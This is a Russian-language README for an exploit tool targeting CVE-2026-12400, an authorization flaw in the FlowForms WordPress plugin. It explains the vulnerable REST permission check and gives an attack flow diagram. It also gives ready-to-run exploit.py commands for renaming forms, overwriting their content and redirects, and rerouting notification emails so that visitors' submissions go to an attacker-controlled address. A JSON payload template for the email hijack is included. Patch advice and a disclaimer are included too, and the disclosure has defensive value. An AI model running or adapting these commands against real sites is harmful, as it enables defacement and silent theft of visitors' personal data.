
# Эксплойт IDOR для аутентифицированного WordPress при CVE-2026-12400; перечисляет ID форм REST FlowForms и изменяет содержимое форм или перехватывает email-уведомления.
| Свойство | Значение |
|---|
| CVE ID | CVE-2026-12400 |
| Оценка CVSS | 4.3 — Средняя |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Обход авторизации через управляемый пользователем ключ) |
| Продукт | FlowForms — Плагин диалогового конструктора форм для WordPress |
| Затронутые версии | Все версии до 1.1.1 включительно |
| Исправлено в | Исправлено в версии 1.1.2 |
| Исследователь | Phantom Hat |
Полное исследование с анализом исходного кода, трассировкой входных данных и сравнением патчей:
FlowForms предоставляет две конечные точки REST API в пространстве имён flowforms/v1, которые уязвимы:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Обе принимают управляемый пользователем {id} в пути URL и изменяют данные целевой формы: имя, содержимое, макет, URL перенаправления и получателей email-уведомлений.
Обе уязвимые регистрации маршрутов используют одинаковый ошибочный permission_callback:
// Обновление содержимого / имени формы
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Обновление настроек формы (email-уведомления, макет и т.д.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts — это возможность, которой обладают участники (Contributors). Параметр {id} никогда не проверяется на принадлежность запрашивающему пользователю — любой аутентифицированный пользователь может воздействовать на любой ID формы на сайте.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Аутентификация как Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Получение REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Перебор опубликованных форм
│<─ HTTP 200 ───────────────────────│ (любая доступная форма — цель)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Перезапись имени / содержимого формы
│ with attacker payload ─────>│ ← нет проверки владельца
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Перехват email-уведомлений
│ /settings ─────────────────>│ ← атакующий получает все
│<─ { "success": true } ────────────│ будущие отправки форм
│ │
│ Все 3 вектора атаки подтверждены│ (5) Имя ✔ Содержимое ✔ Email ✔
| Режим | Конечная точка | Воздействие |
|---|---|---|
name | /forms/{id} | Переименование любой формы — порча, социальная инженерия |
content | /forms/{id} | Перезапись макета, экранов приветствия/благодарности, URL перенаправления |
email | /forms/{id}/settings | Перехват email-уведомлений — скрытое получение всех отправленных форм |
Режим email наиболее критичен. После перехвата каждое отправление в контактную форму жертвы — включая персональные данные посетителей, сообщения и контактную информацию — бесшумно пересылается на адрес, контролируемый атакующим. Администратор сайта не видит никаких признаков изменения.
Contributor на целевом сайтеgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Переименование любой формы в содержимое, контролируемое атакующим:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Перезапись макета формы, экранов, URL перенаправления и фоновых изображений:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Перенаправление всех уведомлений о будущих отправках форм на адрес, контролируемый атакующим:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Флаг | Сокращение | Описание | Обязательный |
|---|---|---|---|
--url | -u | Целевой URL WordPress | ✅ |
--user | Имя пользователя WordPress (Contributor+) | ✅ | |
--password | Пароль WordPress | ✅ | |
--id-start | -i | Начальный ID формы для перебора | ✅ |
--num-forms | -n | Количество ID форм для перебора | ✅ |
--exploit | Режим атаки: name / content / email | ✅ | |
--proxy | -p | URL прокси (например, http://127.0.0.1:8080) | ❌ |
Шаблоны JSON-полезных нагрузок (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) определены в начале скрипта. Отредактируйте их перед запуском, чтобы настроить содержимое атаки: измените адрес email для уведомлений, URL перенаправления, фоновое изображение, заголовок формы и т.д.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← измените это
...
}
}
}
}
}""")
Эксплойт выполняет три автоматизированных шага:
Шаг 1 — Аутентификация
Выполняет вход как атакующий (Contributor) и получает действующий nonce REST API из wp-admin/post-new.php.
Шаг 2 — Перебор форм
Сканирует GET /flowform/{id} в заданном диапазоне ID. ID, возвращающие HTTP 200, собираются как доступные цели — это опубликованные формы, принадлежащие любому пользователю сайта, включая администраторов.
Шаг 3 — Эксплуатация В зависимости от выбранного режима отправляет соответствующую полезную нагрузку на незащищённую конечную точку REST:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsСервер принимает запрос и применяет изменение без проверки владельца.
| Действие | Подробности |
|---|---|
| Патч | Замените общую проверку edit_posts на current_user_can('edit_post', $form_id) в обеих конечных точках — привязка проверки возможности к конкретному объекту записи обеспечивает соблюдение правил владения WordPress |
| Меры смягчения | До установки патча ограничьте роли Contributor и Author, если плагин активен |
// УЯЗВИМО — обе конечные точки
'permission_callback' => fn() => current_user_can('edit_posts'),
// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Отшлифованный эксплойт с красивым интерфейсом (3 режима)
├── requirements.txt # Зависимости Python
└── README.md # Этот файл
Данный инструмент предоставляется исключительно для целей авторизованного тестирования безопасности и образовательных исследований. Несанкционированный доступ к компьютерным системам незаконен в соответствии с применимыми законами по всему миру. Автор не несёт ответственности за неправомерное использование данного программного обеспечения. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
Phantom Hat — Независимый исследователь безопасности
Данное исследование проведено в рамках ответственного раскрытия уязвимости.